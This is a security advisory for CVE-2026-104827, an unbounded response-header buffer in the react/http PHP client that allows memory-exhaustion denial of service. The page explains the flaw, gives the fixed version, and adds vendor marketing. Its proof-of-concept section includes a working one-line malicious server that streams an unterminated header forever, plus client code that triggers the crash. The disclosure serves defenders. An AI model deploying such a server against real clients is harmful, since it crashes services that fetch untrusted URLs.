Summary
react/http: Unbounded HTTP Client Response Header Buffering Leads to Memory Exhaustion DoS
React\Http\Browser and its lower-level HTTP stack impose no limit on the size of a response's header section while it is being received. ClientRequestStream::handleData() appends every incoming byte to an internal buffer and only scans that buffer for the \r\n\r\n (or \n\n) terminator, without ever checking its length. A remote server that withholds the terminator and keeps streaming can grow the client's memory without bound until PHP's memory_limit is exhausted and the process crashes.
This is an unauthenticated, network-reachable denial of service against any application that uses react/http as a client to fetch untrusted or attacker-influenced URLs, including via redirects.
Details
ClientRequestStream::handleData() is bound directly to the underlying connection's data event, so every byte the peer sends is appended with no size check:
public function handleData($data)
{
$this->buffer .= $data;
// buffer until double CRLF (or double LF for compatibility with legacy servers)
$eom = \strpos($this->buffer, "\r\n\r\n");
$eomLegacy = \strpos($this->buffer, "\n\n");
if ($eom !== false || $eomLegacy !== false) {
The only exit from the buffering state is finding the header terminator or a connection close, so until it arrives the buffer grows monotonically for as long as the peer keeps sending.
The codebase already applies this class of limit elsewhere, but not symmetrically. RequestHeaderParser caps incoming request headers when acting as a server, and Transaction::bufferResponse() caps the response body, but only once the header section has already been parsed into a Response. Response header reception was the one stage with no limit at all.
PoC
An HTTP server that sends a valid status line and a partial header, then streams indefinitely without ever terminating the header section:
php -r '$s=stream_socket_server("tcp://127.0.0.1:18080"); $c=stream_socket_accept($s); fread($c,8192); fwrite($c,"HTTP/1.1 200 OK\r\nX-Fill: "); while (true) { fwrite($c, str_repeat("A",1048576)); usleep(10000); }'
A client fetching it, with memory_limit=64M:
$browser = new React\Http\Browser();
$browser->get("http://127.0.0.1:18080/")->then(
function () { echo "ok\n"; },
function ($e) { echo get_class($e) . ": " . $e->getMessage() . "\n"; }
);
Client memory grows steadily until the process dies with Allowed memory size ... exhausted inside ClientRequestStream::handleData().
Impact
Remotely triggerable, unauthenticated denial of service against any process using Browser to fetch from an attacker-controlled, compromised or otherwise untrusted endpoint, including one reached through a redirect. No user interaction and no special privileges are required. Because there is no upper bound on the header buffer, a single cheap connection can drive memory arbitrarily high and crash the process, taking down whatever event loop or worker it was running. Confidentiality and integrity are unaffected; availability is fully impacted for that process.
The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.
CVE-2026-104827 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.11.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-104827? CVE-2026-104827 is a high-severity allocation of resources without limits or throttling vulnerability in react/http (composer), affecting versions >= 1.0.0, <= 1.11.0. It is fixed in 1.11.1. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
- How severe is CVE-2026-104827? CVE-2026-104827 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of react/http are affected by CVE-2026-104827? react/http (composer) versions >= 1.0.0, <= 1.11.0 is affected.
- Is there a fix for CVE-2026-104827? Yes. CVE-2026-104827 is fixed in 1.11.1. Upgrade to this version or later.
- Is CVE-2026-104827 exploitable, and should I be worried? Whether CVE-2026-104827 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-104827 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-104827? Upgrade
react/httpto 1.11.1 or later.